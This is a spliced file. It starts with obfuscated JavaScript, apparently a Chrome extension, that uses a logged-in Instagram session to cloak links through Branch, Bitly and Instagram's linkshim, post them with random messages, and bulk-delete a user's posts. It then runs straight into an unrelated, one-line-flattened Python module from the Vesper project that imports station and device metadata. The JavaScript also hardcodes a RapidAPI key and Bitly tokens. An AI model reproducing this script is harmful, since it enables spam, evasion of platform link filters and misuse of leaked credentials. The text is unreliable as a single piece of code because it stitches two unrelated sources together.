_0x3ea225=_0x481b82,_0xda0ef0=$('textarea.p7vTm'),_0x53198c='https://rapidapi.p.rapidapi.com/shorten',_0x5c732d=_0x3ea225(0x2bc),_0x280e60=[_0x3ea225(0x297),_0x3ea225(0x1a6),_0x3ea225(0x276),_0x3ea225(0x2ca),_0x3ea225(0x29d),_0x3ea225(0x21a),_0x3ea225(0x236),_0x3ea225(0x19d),_0x3ea225(0x29a),_0x3ea225(0x25d),_0x3ea225(0x2a1),'f6a7ad4e126442355151a67fbc448a40b418fb66',_0x3ea225(0x2d1),'a746acb881c006e627b0e39f13fad460a21ef790',_0x3ea225(0x249),'f0ededa97df80d2b4354641bf7c37de5cab23591',_0x3ea225(0x1e9),_0x3ea225(0x1a8),'d90649ed39b4637aa41c4f9b29c77ca433cc1230',_0x3ea225(0x1e1)],_0x2f052f=$(_0x3ea225(0x2e6)),_0x41a097=Math[_0x3ea225(0x1db)](Math[_0x3ea225(0x231)]()*_0x280e60[_0x3ea225(0x225)]),_0x2ba54a=Math[_0x3ea225(0x1db)](Math[_0x3ea225(0x231)]()*kirempesan['length']),_0x4b00f0=Math['floor'](Math['random']()*apiBrancgh['length']),_0x52eebf=_0x3ea225(0x234),_0x5a87fe=$(_0x3ea225(0x26e))[_0x3ea225(0x1df)](),_0x146efd=$(_0x3ea225(0x2e0))['val'](),_0x27fb04=$(_0x3ea225(0x1c9))['val'](),_0x584e7f=new Audio(chrome['runtime']['getURL']('sad.mp3'));if(!_0x5a87fe||_0x5a87fe<0x1)return alert(_0x3ea225(0x1e2)),_0x584e7f[_0x3ea225(0x1c4)](),![];else{if(!_0x146efd||_0x146efd<0x1)return alert(_0x3ea225(0x230)),_0x584e7f[_0x3ea225(0x1c4)](),![];else $(this)[_0x3ea225(0x1fd)]('Run'),$(_0x3ea225(0x2ce))[_0x3ea225(0x28d)](_0x3ea225(0x2bf))[_0x3ea225(0x204)]('color','blue');}if($(_0x3ea225(0x1b0))[_0x3ea225(0x1de)]('option.random')[_0x3ea225(0x225)]>0x0)$[_0x3ea225(0x2ea)]({'url':_0x52eebf,'type':_0x3ea225(0x26a),'cache':![],'contentType':_0x3ea225(0x2d8),'dataType':_0x3ea225(0x2e8),'data':JSON['stringify']({'branch_key':apiBrancgh[_0x4b00f0],'data':{'$desktop_url':_0x27fb04,'$ios_url':_0x146efd,'$android_url':_0x5a87fe}}),'success':function(_0x374947){var _0x10ae24=_0x3ea225,_0xae1660=_0x374947['url'];_0x2f052f['sendkeys'](_0xae1660),_0x4fcdff(),$(_0x10ae24(0x2ce))[_0x10ae24(0x28d)]('<i>Success\x20Random..\x20&#128522;</i>')[_0x10ae24(0x204)](_0x10ae24(0x2ab),'green');}});else{if($(_0x3ea225(0x1b0))[_0x3ea225(0x1de)](_0x3ea225(0x1ad))[_0x3ea225(0x225)]>0x0)$[_0x3ea225(0x2ea)]({'url':_0x52eebf,'type':_0x3ea225(0x26a),'cache':![],'contentType':_0x3ea225(0x2d8),'dataType':_0x3ea225(0x2e8),'data':JSON[_0x3ea225(0x208)]({'branch_key':apiBrancgh[_0x4b00f0],'data':{'$desktop_url':_0x27fb04,'$ios_url':_0x146efd,'$android_url':_0x5a87fe}}),'success':function(_0x1b7363){var _0x1940bf=_0x3ea225,_0xa0374d=_0x1b7363[_0x1940bf(0x217)],_0xf70626=_0xa0374d[_0x1940bf(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,'https://bnc.lt/$1');_0x2f052f[_0x1940bf(0x1a2)](_0xf70626),_0x4fcdff(),$(_0x1940bf(0x2ce))[_0x1940bf(0x28d)]('<i>Success\x20Bnc..\x20&#128522;</i>')['css']('color',_0x1940bf(0x198));}});else{if($(_0x3ea225(0x1b0))[_0x3ea225(0x1de)](_0x3ea225(0x1ec))[_0x3ea225(0x225)]>0x0)$[_0x3ea225(0x2ea)]({'url':_0x52eebf,'type':'post','cache':![],'contentType':_0x3ea225(0x2d8),'dataType':_0x3ea225(0x2e8),'data':JSON[_0x3ea225(0x208)]({'branch_key':apiBrancgh[_0x4b00f0],'data':{'$desktop_url':_0x27fb04,'$ios_url':_0x146efd,'$android_url':_0x5a87fe}}),'success':function(_0x354439){var _0x352fd=_0x3ea225,_0x53d252=_0x354439[_0x352fd(0x217)];$['ajax']({'url':_0x352fd(0x1f6),'type':_0x352fd(0x26a),'data':{'url':_0x53d252},'beforeSend':function(){var _0x1ed84f=_0x352fd;$(_0x1ed84f(0x2ce))[_0x1ed84f(0x1fd)]('Fetch\x20Url...')['css'](_0x1ed84f(0x2ab),'blue');}})[_0x352fd(0x24e)](function(_0x1d1fce){var _0x3c2a6c=_0x352fd,_0x3065ee=[_0x1d1fce['result'][_0x3c2a6c(0x233)],_0x1d1fce['result'][_0x3c2a6c(0x1cc)]],_0xb468ab=Math['floor'](Math[_0x3c2a6c(0x231)]()*_0x3065ee[_0x3c2a6c(0x225)]);_0x2f052f[_0x3c2a6c(0x1a2)](_0x3065ee[_0xb468ab]),_0x4fcdff(),$('.errorLog')[_0x3c2a6c(0x28d)](_0x3c2a6c(0x2e9))[_0x3c2a6c(0x204)]('color',_0x3c2a6c(0x198));});}});else{if($(_0x3ea225(0x1b0))[_0x3ea225(0x1de)]('option.goolnk')[_0x3ea225(0x225)]>0x0)$['ajax']({'url':_0x52eebf,'type':_0x3ea225(0x26a),'cache':![],'contentType':'application/json;\x20charset=utf-8','dataType':_0x3ea225(0x2e8),'data':JSON[_0x3ea225(0x208)]({'branch_key':apiBrancgh[_0x4b00f0],'data':{'$desktop_url':_0x27fb04,'$ios_url':_0x146efd,'$android_url':_0x5a87fe}}),'success':function(_0x3550ef){var _0x422225=_0x3ea225;$[_0x422225(0x2ea)]({'url':_0x53198c,'type':'post','cache':![],'async':!![],'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-rapidapi-host':_0x422225(0x1c8),'x-rapidapi-key':'fac99312damshb561f07e8c275fbp179937jsn2c3d17ca6a38'},'data':{'url':_0x3550ef['url']},'success':function(_0x4f1148){var _0xd671b8=_0x422225;_0x2f052f[_0xd671b8(0x1a2)](_0x4f1148[_0xd671b8(0x273)]),_0x4fcdff(),$('.errorLog')['html'](_0xd671b8(0x248))[_0xd671b8(0x204)](_0xd671b8(0x2ab),'green');}});}});else{if($('select.link')['find'](_0x3ea225(0x2d2))[_0x3ea225(0x225)]>0x0)$[_0x3ea225(0x2ea)]({'url':_0x52eebf,'type':'post','cache':![],'contentType':_0x3ea225(0x2d8),'dataType':_0x3ea225(0x2e8),'data':JSON[_0x3ea225(0x208)]({'branch_key':apiBrancgh[_0x4b00f0],'data':{'$desktop_url':_0x27fb04,'$ios_url':_0x146efd,'$android_url':_0x5a87fe}}),'success':function(_0x55405){var _0x50a96e=_0x3ea225,_0x73ab33=_0x55405[_0x50a96e(0x217)],_0x322b78=_0x73ab33[_0x50a96e(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,'https://bnc.lt/$1');$[_0x50a96e(0x2ea)]({'url':_0x50a96e(0x2a8),'type':_0x50a96e(0x26a),'crossDomain':!![],'headers':{'content-type':_0x50a96e(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':'0','x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'u':_0x322b78,'cs':''},'success':function(_0x146e28){var _0x9d52ca=_0x50a96e;_0x2f052f[_0x9d52ca(0x1a2)](_0x146e28[_0x9d52ca(0x2b5)]),_0x4fcdff(),$('.errorLog')[_0x9d52ca(0x28d)]('<i>Success\x20Linkshim..\x20&#128522;</i>')[_0x9d52ca(0x204)](_0x9d52ca(0x2ab),_0x9d52ca(0x198));}});}});else{if($('select.link')[_0x3ea225(0x1de)]('option.bitly')[_0x3ea225(0x225)]>0x0)$['ajax']({'url':_0x52eebf,'type':'post','cache':![],'contentType':_0x3ea225(0x2d8),'dataType':'json','data':JSON['stringify']({'branch_key':apiBrancgh[_0x4b00f0],'data':{'$desktop_url':_0x27fb04,'$ios_url':_0x146efd,'$android_url':_0x5a87fe}}),'success':function(_0x334ab3){var _0x452e9d=_0x3ea225;$[_0x452e9d(0x2ea)]({'url':_0x5c732d,'type':'post','contentType':_0x452e9d(0x21f),'headers':{'authorization':'Bearer\x20'+_0x280e60[_0x41a097]+''},'dataType':_0x452e9d(0x2e8),'data':JSON[_0x452e9d(0x208)]({'long_url':_0x334ab3[_0x452e9d(0x217)],'domain':_0x452e9d(0x1ca)}),'success':function(_0x5028d2){var _0x6315c9=_0x452e9d,_0x26957b=_0x5028d2[_0x6315c9(0x1f3)];_0x2f052f[_0x6315c9(0x1a2)](_0x26957b),_0x4fcdff(),$(_0x6315c9(0x2ce))['html'](_0x6315c9(0x2cf))[_0x6315c9(0x204)](_0x6315c9(0x2ab),_0x6315c9(0x198));}});}});else return alert(_0x3ea225(0x229)),_0x584e7f[_0x3ea225(0x1c4)](),![];}}}}}function _0x4fcdff(){var _0x4bd014=setInterval(function(){_0xda0ef0['sendkeys'](kirempesan[_0x2ba54a]);{clearInterval(_0x4bd014);}},0x3e8);}}),$(document)['on'](_0x481b82(0x1c5),'.delete',function(){var _0x5265c4=_0x481b82,_0x4a887c=0x0,_0x1a7986=0x0,_0x4197b8=0x0,_0x21df17;$(this)[_0x5265c4(0x1fd)](_0x5265c4(0x2ae)),$(_0x5265c4(0x2ce))[_0x5265c4(0x28d)](_0x5265c4(0x2bf))['css'](_0x5265c4(0x2ab),_0x5265c4(0x255)),$['ajax']({'url':_0x5265c4(0x240),'type':_0x5265c4(0x1a3),'crossDomain':!![],'headers':{'x-csrftoken':send_csrf,'x-ig-app-id':_0x5265c4(0x2c9),'x-ig-www-claim':_0x4a887c,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'query_hash':'003056d32c2554def87228bc3fd9668a','variables':JSON[_0x5265c4(0x208)]({'id':check_uid,'first':'5'})},'beforeSend':function(){var _0x1eea5e=_0x5265c4;$(_0x1eea5e(0x2ce))[_0x1eea5e(0x28d)](_0x1eea5e(0x1ae))[_0x1eea5e(0x204)](_0x1eea5e(0x2ab),'blue');}})[_0x5265c4(0x24e)](function(_0x590cee,_0x51de26,_0x598f7c){var _0x183240=_0x5265c4;_0x4a887c=_0x598f7c['getResponseHeader']('x-ig-set-www-claim'),loop_me=_0x590cee[_0x183240(0x29b)][_0x183240(0x1cb)]['edge_owner_to_timeline_media'][_0x183240(0x213)],scroll_down=_0x590cee['data'][_0x183240(0x1cb)][_0x183240(0x235)][_0x183240(0x2a7)][_0x183240(0x1f5)],page=_0x590cee['data'][_0x183240(0x1cb)][_0x183240(0x235)]['page_info'][_0x183240(0x21c)],_0x21df17=scroll_down;if(loop_me===null||loop_me[_0x183240(0x225)]===0x0)return $(_0x183240(0x2ce))['html']('<i>Gak\x20Duwe\x20Photo..\x20&#128522;</i>')[_0x183240(0x204)](_0x183240(0x2ab),_0x183240(0x255)),![];else $[_0x183240(0x286)](loop_me,function(_0x476a51,_0x4a28e7){var _0x598497=!![],_0x588f37=_0x476a51==loop_me['length']-0x1;return setTimeout(function(){var _0x5adc24=_0x28a9;if(_0x588f37){if(page===![])return $[_0x5adc24(0x2ea)]({'url':_0x5adc24(0x2e2)+_0x4a28e7[_0x5adc24(0x24f)]['id']+_0x5adc24(0x2b4),'type':_0x5adc24(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x5adc24(0x2c9),'x-ig-www-claim':_0x4a887c,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})['done'](function(){var _0x1ad2a8=_0x5adc24;_0x1a7986++,$('.olePiro')[_0x1ad2a8(0x1fd)](_0x1a7986),$('.errorLog')[_0x1ad2a8(0x28d)](_0x1ad2a8(0x2d4))[_0x1ad2a8(0x204)](_0x1ad2a8(0x2ab),'blue');})['fail'](function(){var _0x44a8bb=_0x5adc24;_0x4197b8++,$(_0x44a8bb(0x257))[_0x44a8bb(0x1fd)](_0x4197b8),$(_0x44a8bb(0x2ce))[_0x44a8bb(0x28d)](_0x44a8bb(0x2a9))[_0x44a8bb(0x204)](_0x44a8bb(0x2ab),_0x44a8bb(0x255));}),clearTimeout(),_0x598497=![],![];else{$['ajax']({'url':_0x5adc24(0x2e2)+_0x4a28e7['node']['id']+_0x5adc24(0x2b4),'type':_0x5adc24(0x26a),'crossDomain':!![],'headers':{'content-type':_0x5adc24(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x4a887c,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})[_0x5adc24(0x24e)](function(){var _0x9651cc=_0x5adc24;_0x1a7986++,$(_0x9651cc(0x20a))[_0x9651cc(0x1fd)](_0x1a7986),$(_0x9651cc(0x2ce))[_0x9651cc(0x28d)](_0x9651cc(0x226))['css'](_0x9651cc(0x2ab),_0x9651cc(0x198)),_0x5f3d69();})[_0x5adc24(0x272)](function(){var _0x4a13a4=_0x5adc24;_0x4197b8++,$(_0x4a13a4(0x257))[_0x4a13a4(0x1fd)](_0x4197b8),$('.errorLog')[_0x4a13a4(0x28d)]('<i>Limit...\x20&#129324;</i>')[_0x4a13a4(0x204)]('color',_0x4a13a4(0x1e7)),_0x5f3d69();});function _0x5f3d69(){setTimeout(function(){var _0x5f19ff=_0x28a9;$['ajax']({'url':_0x5f19ff(0x240),'type':_0x5f19ff(0x1a3),'crossDomain':!![],'headers':{'x-csrftoken':send_csrf,'x-ig-app-id':_0x5f19ff(0x2c9),'x-ig-www-claim':_0x4a887c,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'query_hash':'003056d32c2554def87228bc3fd9668a','variables':JSON[_0x5f19ff(0x208)]({'id':check_uid,'first':'5','after':_0x21df17})},'beforeSend':function(){var _0x3a6ca0=_0x5f19ff;$(_0x3a6ca0(0x2ce))['html'](_0x3a6ca0(0x1ae))['css']('color',_0x3a6ca0(0x255));}})[_0x5f19ff(0x24e)](function(_0x9b937a){var _0x1e9c0b=_0x5f19ff;loop_me_kedua=_0x9b937a['data']['user'][_0x1e9c0b(0x235)][_0x1e9c0b(0x213)],scroll_down_kedua=_0x9b937a['data'][_0x1e9c0b(0x1cb)]['edge_owner_to_timeline_media'][_0x1e9c0b(0x2a7)][_0x1e9c0b(0x1f5)],page_kedua=_0x9b937a[_0x1e9c0b(0x29b)][_0x1e9c0b(0x1cb)][_0x1e9c0b(0x235)]['page_info'][_0x1e9c0b(0x21c)],_0x21df17=scroll_down_kedua,$[_0x1e9c0b(0x286)](loop_me_kedua,function(_0x19b5ed,_0x80ead3){var _0x41dd97=_0x1e9c0b,_0x18faf9=!![],_0x116426=_0x19b5ed==loop_me_kedua[_0x41dd97(0x225)]-0x1;return setTimeout(function(){var _0x4b42ba=_0x41dd97;if(_0x116426){if(page_kedua===![])return $[_0x4b42ba(0x2ea)]({'url':_0x4b42ba(0x2e2)+_0x80ead3[_0x4b42ba(0x24f)]['id']+'/delete/','type':_0x4b42ba(0x26a),'crossDomain':!![],'headers':{'content-type':_0x4b42ba(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x4b42ba(0x2c9),'x-ig-www-claim':_0x4a887c,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})[_0x4b42ba(0x24e)](function(){var _0x1df9f4=_0x4b42ba;_0x1a7986++,$(_0x1df9f4(0x20a))[_0x1df9f4(0x1fd)](_0x1a7986),$('.errorLog')[_0x1df9f4(0x28d)](_0x1df9f4(0x2d4))['css'](_0x1df9f4(0x2ab),_0x1df9f4(0x255));})[_0x4b42ba(0x272)](function(){var _0x2159fe=_0x4b42ba;_0x4197b8++,$(_0x2159fe(0x257))[_0x2159fe(0x1fd)](_0x4197b8),$(_0x2159fe(0x2ce))[_0x2159fe(0x28d)](_0x2159fe(0x2a9))[_0x2159fe(0x204)](_0x2159fe(0x2ab),_0x2159fe(0x255));}),clearTimeout(),_0x18faf9=![],![];else $[_0x4b42ba(0x2ea)]({'url':_0x4b42ba(0x2e2)+_0x80ead3[_0x4b42ba(0x24f)]['id']+'/delete/','type':_0x4b42ba(0x26a),'crossDomain':!![],'headers':{'content-type':_0x4b42ba(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x4b42ba(0x2c9),'x-ig-www-claim':_0x4a887c,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})['done'](function(){var _0x23e9c1=_0x4b42ba;_0x1a7986++,$(_0x23e9c1(0x20a))[_0x23e9c1(0x1fd)](_0x1a7986),$(_0x23e9c1(0x2ce))['html']('<i>Success\x20Delete..\x20&#128522;</i>')[_0x23e9c1(0x204)](_0x23e9c1(0x2ab),_0x23e9c1(0x198));})[_0x4b42ba(0x272)](function(){var _0x316ce8=_0x4b42ba;_0x4197b8++,$('.mendal')[_0x316ce8(0x1fd)](_0x4197b8),$('.errorLog')[_0x316ce8(0x28d)](_0x316ce8(0x1be))[_0x316ce8(0x204)](_0x316ce8(0x2ab),_0x316ce8(0x1e7));}),_0x5f3d69();}else $[_0x4b42ba(0x2ea)]({'url':'https://www.instagram.com/create/'+_0x80ead3[_0x4b42ba(0x24f)]['id']+_0x4b42ba(0x2b4),'type':_0x4b42ba(0x26a),'crossDomain':!![],'headers':{'content-type':_0x4b42ba(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x4b42ba(0x2c9),'x-ig-www-claim':_0x4a887c,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})[_0x4b42ba(0x24e)](function(){var _0x1b8f4b=_0x4b42ba;_0x1a7986++,$(_0x1b8f4b(0x20a))[_0x1b8f4b(0x1fd)](_0x1a7986),$('.errorLog')['html'](_0x1b8f4b(0x226))[_0x1b8f4b(0x204)](_0x1b8f4b(0x2ab),_0x1b8f4b(0x198));})[_0x4b42ba(0x272)](function(){var _0x283856=_0x4b42ba;_0x4197b8++,$('.mendal')[_0x283856(0x1fd)](_0x4197b8),$('.errorLog')[_0x283856(0x28d)]('<i>Limit...\x20&#129324;</i>')[_0x283856(0x204)](_0x283856(0x2ab),_0x283856(0x1e7));});},_0x19b5ed*0x3e8),_0x18faf9;});});},0x3e8);}}}else $[_0x5adc24(0x2ea)]({'url':_0x5adc24(0x2e2)+_0x4a28e7[_0x5adc24(0x24f)]['id']+_0x5adc24(0x2b4),'type':_0x5adc24(0x26a),'crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':_0x5adc24(0x2c9),'x-ig-www-claim':_0x4a887c,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]}})['done'](function(){var _0x5d608f=_0x5adc24;_0x1a7986++,$('.olePiro')[_0x5d608f(0x1fd)](_0x1a7986),$(_0x5d608f(0x2ce))[_0x5d608f(0x28d)](_0x5d608f(0x226))[_0x5d608f(0x204)](_0x5d608f(0x2ab),_0x5d608f(0x198));})['fail'](function(){var _0x313957=_0x5adc24;_0x4197b8++,$('.mendal')[_0x313957(0x1fd)](_0x4197b8),$(_0x313957(0x2ce))[_0x313957(0x28d)](_0x313957(0x1be))[_0x313957(0x204)](_0x313957(0x2ab),_0x313957(0x1e7));});},_0x476a51*0x3e8),_0x598497;});if(_0x4a887c!=='0')return _0x4a887c;})[_0x5265c4(0x272)](function(){var _0x3bb063=_0x5265c4;$('.errorLog')[_0x3bb063(0x28d)](_0x3bb063(0x27f))[_0x3bb063(0x204)](_0x3bb063(0x2ab),_0x3bb063(0x1e7));});});
"""Utility functions pertaining to archive metadata import.""" from collections import defaultdict from datetime import date as Date, datetime as DateTime from django.db import transaction from vesper.django.app.models import ( AnnotationConstraint, AnnotationInfo, Device, DeviceConnection, DeviceInput, DeviceModel, DeviceModelInput, DeviceModelOutput, DeviceOutput, Job, Processor, Station, StationDevice, TagInfo) import vesper.util.time_utils as time_utils import vesper.util.yaml_utils as yaml_utils # TODO: Allow omission of device name, in which case it is automatically # generated by concatenating model name and serial number. # TODO: Allow omission of connections when there is exactly one recorder, # only single-output microphones, and no more microphones than recorder # inputs, in which case microphones are connected in the order they # appear in the device list to recorder inputs. The period of the # connections is the period of association of the devices with the # station. # TODO: Allow specification of station devices with stations, e.g.: # # stations: # # - name: Ithaca # description: > # Imaginary recording station in Ithaca, NY, USA. # The location given for the station is within Cayuga Lake # to emphasize that the station is not real! # time_zone: US/Eastern # latitude: 42.473168 # longitude: -76.516825 # elevation: 120 # devices: # - name: Swift # start_time: 2018-01-01 # end_time: 2019-01-01 # # If we support infinite connection intervals, perhaps you could even # say: # # devices: [Swift, 21c] # TODO: Allow compact specification of multiple devices in metadata YAML, # e.g.: # # - name_prefix: Swift # model: Swift # serial_numbers: [0, 1, 2, 3] # # to specify devices "Swift 0", "Swift 1", "Swift 2", and "Swift 3". # # Associated possible syntactic sugar for sets of numeric serial numbers # might include items like: # # name_format: "Swift {n:02d}" # # where `n` is a numeric serial number (perhaps we should check the # format specification, constraining it to ensure safety against # injection attacks), and: # # serial_number_range: [0, 3] # # to specify a range of numeric serial numbers. # TODO: Allow specification of input or output number for devices # that have just one input or output, e.g. "Swift Input 0", instead # of requiring that input or output number be omitted, e.g. # "Swift Input". # TODO: Allow omission of device connection start and/or end times # to indicate infinite time intervals. # TODO: If it isn't specified, infer time zone from location using # `timezonefinder` (or some such) Python module. See # https://stackoverflow.com/questions/16086962/ # how-to-get-a-time-zone-from-a-location-using-latitude-and-longitude-coordinates class MetadataImportError(Exception): pass def import_metadata(metadata, logger=None, job_id=None): importer = _MetadataImporter(logger) with transaction.atomic(): importer.import_metadata(metadata, job_id) class _MetadataImporter: def __init__(self, logger=None): self._logger = logger self._methods = { 'stations': self._add_stations, 'device_models': self._add_device_models, 'devices': self._add_devices, 'station_devices': self._add_station_devices, 'detectors': self._add_detectors, 'classifiers': self._add_classifiers, 'annotation_constraints': self._add_annotation_constraints, 'annotations': self._add_annotations, 'tags': self._add_tags, } def import_metadata(self, metadata, job_id=None): self._creation_time = time_utils.get_utc_now() self._creating_user = None if job_id is None: self._creating_job = None else: self._creating_job = Job.objects.get(id=job_id) for name, data in metadata.items(): method = self._methods.get(name) if method is None: raise MetadataImportError( f'Unrecognized metadata section name "{name}".') method(data) def _add_stations(self, data): for station_data in data: name = _get_required(station_data, 'name', 'station') self._log_info(f'Adding station "{name}"...') description = station_data.get('description', '') latitude = _get_required(station_data, 'latitude', 'station') longitude = _get_required(station_data, 'longitude', 'station') elevation = _get_required(station_data, 'elevation', 'station') time_zone = _get_required(station_data, 'time_zone', 'station') Station.objects.create( name=name, description=description, latitude=latitude, longitude=longitude, elevation=elevation, time_zone=time_zone) def _log_info(self, message): if self._logger is not None: self._logger.info(message) def _add_device_models(self, data): for model_data in data: model = self._add_device_model(model_data) self._add_ports(model, model_data, 'input', DeviceModelInput) self._add_ports(model, model_data, 'output', DeviceModelOutput) def _add_device_model(self, model_data): name = _get_required(model_data, 'name', 'device model') self._log_info(f'Adding device model "{name}"...') type_ = _get_required(model_data, 'type', 'device model') manufacturer = \ _get_required(model_data, 'manufacturer', 'device model') model = _get_required(model_data, 'model', 'device model') description = model_data.get('description', '') model = DeviceModel.objects.create( name=name, type=type_, manufacturer=manufacturer, model=model, description=description ) return model def _add_ports(self, model, model_data, port_type, port_class): port_data = self._get_port_data(model_data, port_type) for local_name, channel_num in port_data: self._log_info( f'Adding device model "{model.name}" {port_type} ' f'"{local_name}"...') port_class.objects.create( model=model, local_name=local_name, channel_num=channel_num) def _get_port_data(self, model_data, port_type): names = model_data.get(port_type + 's') if names is None: key = f'num_{port_type}s' num_ports = model_data.get(key, 0) if num_ports == 0: names = [] elif num_ports == 1: names = [port_type.capitalize()] else: names = [f'{port_type.capitalize()} {i}' for i in range(num_ports)] return [(name, i) for i, name in enumerate(names)] def _add_devices(self, data): models = _create_objects_dict(DeviceModel) for device_data in data: device = self._add_device(device_data, models) self._add_device_inputs(device) self._add_device_outputs(device) def _add_device(self, device_data, models): name = _get_required(device_data, 'name', 'device') self._log_info(f'Adding device "{name}"...') model = self._get_device_model(device_data, models) serial_number = _get_required(device_data, 'serial_number', 'device') description = device_data.get('description', '') return Device.objects.create( name=name, model=model, serial_number=serial_number, description=description) def _get_device_model(self, device_data, models): name = _get_required(device_data, 'model', 'device') try: return models[name] except KeyError: raise MetadataImportError( f'Unrecognized device model name "{name}".') def _add_device_inputs(self, device): for model_input in device.model.inputs.all(): self._log_info( f'Adding device "{device.name}" input ' f'"{model_input.local_name}"...') DeviceInput.objects.create( device=device, model_input=model_input) def _add_device_outputs(self, device): for model_output in device.model.outputs.all(): self._log_info( f'Adding device "{device.name}" output ' f'"{model_output.local_name}"...') DeviceOutput.objects.create( device=device, model_output=model_output) def _add_station_devices(self, data): devices = _create_objects_dict(Device) inputs = _create_objects_dict(DeviceInput) outputs = _create_objects_dict(DeviceOutput) for sd_data in data: station = self._get_station(sd_data) data_name = 'station devices array' start_time = self._get_time( sd_data, 'start_time', station, data_name) end_time = self._get_time( sd_data, 'end_time', station, data_name) device_names = _get_required(sd_data, 'devices', data_name) station_devices = [] for name in device_names: device = self._get_device(name, devices) self._add_station_device( station, device, start_time, end_time) station_devices.append(device) shorthand_inputs, shorthand_outputs = \ _get_shorthand_ports(station_devices) connections = _get_required(sd_data, 'connections', data_name) for connection in connections: output = self._get_port( connection, 'output', shorthand_outputs, outputs) input_ = self._get_port( connection, 'input', shorthand_inputs, inputs) self._add_connection( station, output, input_, start_time, end_time) def _get_station(self, data): name = _get_required(data, 'station', 'station devices item') try: return Station.objects.get(name=name) except Station.DoesNotExist: raise MetadataImportError(f'Unrecognized station "{name}".') def _get_time(self, data, key, station, data_name): dt = _get_required(data, key, data_name) if isinstance(dt, Date): dt = DateTime(dt.year, dt.month, dt.day) return station.local_to_utc(dt) def _get_device(self, name, devices): try: return devices[name] except KeyError: raise MetadataImportError(f'Unrecognized device "{name}".') def _add_station_device(self, station, device, start_time, end_time): self._log_info( f'Adding station "{station.name}" device "{device.name}" ' f'from {str(start_time)} to {str(end_time)}"...') StationDevice.objects.create( station=station, device=device, start_time=start_time, end_time=end_time) def _get_port(self, connection, port_type, shorthand_ports, ports): name = _get_required(connection, port_type, 'device connection') port = shorthand_ports.get(name) if port is None: port = ports.get(name) if port is None: raise MetadataImportError( f'Unrecognized device {port_type} "{name}".') else: return port def _add_connection(self, station, output, input_, start_time, end_time): self._log_info( f'Adding station "{station.name}" device connection ' f'"{output.name} -> {input_.name} from {str(start_time)} ' f'to {str(end_time)}"...') DeviceConnection.objects.create( output=output, input=input_, start_time=start_time, end_time=end_time) def _add_detectors(self, data): self._add_processors(data, 'detectors', 'detector', 'Detector') def _add_processors(self, data, data_key, log_type_name, db_type_name): for processor_data in data: name = _get_required(processor_data, 'name', log_type_name) self._log_info(f'Adding {log_type_name} "{name}"...') description = processor_data.get('description', '') Processor.objects.create( name=name, type=db_type_name, description=description) def _add_classifiers(self, data): self._add_processors(data, 'classifiers', 'classifier', 'Classifier') def _add_annotation_constraints(self, data): for constraint_data in data: name = _get_required( constraint_data, 'name', 'annotation constraint') self._log_info(f'Adding annotation constraint "{name}"...') description = constraint_data.get('description', '') text = yaml_utils.dump(constraint_data) AnnotationConstraint.objects.create( name=name, description=description, text=text, creation_time=self._creation_time, creating_user=self._creating_user, creating_job=self._creating_job) def _add_annotations(self, data): for annotation_data in data: name = _get_required(annotation_data, 'name', 'annotation') self._log_info(f'Adding annotation "{name}"...') description = annotation_data.get('description', '') type_ = annotation_data.get('type', 'String') constraint = self._get_annotation_constraint(annotation_data) AnnotationInfo.objects.create( name=name, description=description, type=type_, constraint=constraint, creation_time=self._creation_time, creating_user=self._creating_user, creating_job=self._creating_job) def _get_annotation_constraint(self, annotation_data): try: name = annotation_data['constraint'] except KeyError: return None else: return AnnotationConstraint.objects.get(name=name) def _add_tags(self, bobo): for tag_data in bobo: name = _get_required(tag_data, 'name', 'tag') self._log_info(f'Adding tag "{name}"...') description = tag_data.get('description', '') TagInfo.objects.create( name=name, description=description, creation_time=self._creation_time, creating_user=self._creating_user, creating_job=self._creating_job) def _get_required(data, key, data_name): try: return data[key] except KeyError: raise MetadataImportError( f'{data_name.capitalize()} missing required item "{key}".') def _create_objects_dict(cls): objects = {} for obj in cls.objects.all(): objects[obj.name] = obj objects[obj.long_name] = obj return objects def _get_shorthand_ports(devices): # Create mapping from model names to sets of devices. model_devices = defaultdict(set) for device in devices: model_devices[device.model.name].add(device) # Create mappings from shorthand port names to ports. A shorthand # port name is like a regular port name except that it includes # only a model name rather than a device name. We include an item # in this mapping for each port of each device that is the only one # of its model in `devices`. shorthand_inputs = {} shorthand_outputs = {} for model_name, devices in model_devices.items(): if len(devices) == 1: for device in devices: _add_shorthand_ports( shorthand_inputs, device.inputs.all(), model_name) _add_shorthand_ports( shorthand_outputs, device.outputs.all(), model_name) return shorthand_inputs, shorthand_outputs def _add_shorthand_ports(shorthand_ports, ports, model_name): for port in ports: name = f'{model_name} {port.local_name}' shorthand_ports[name] = port
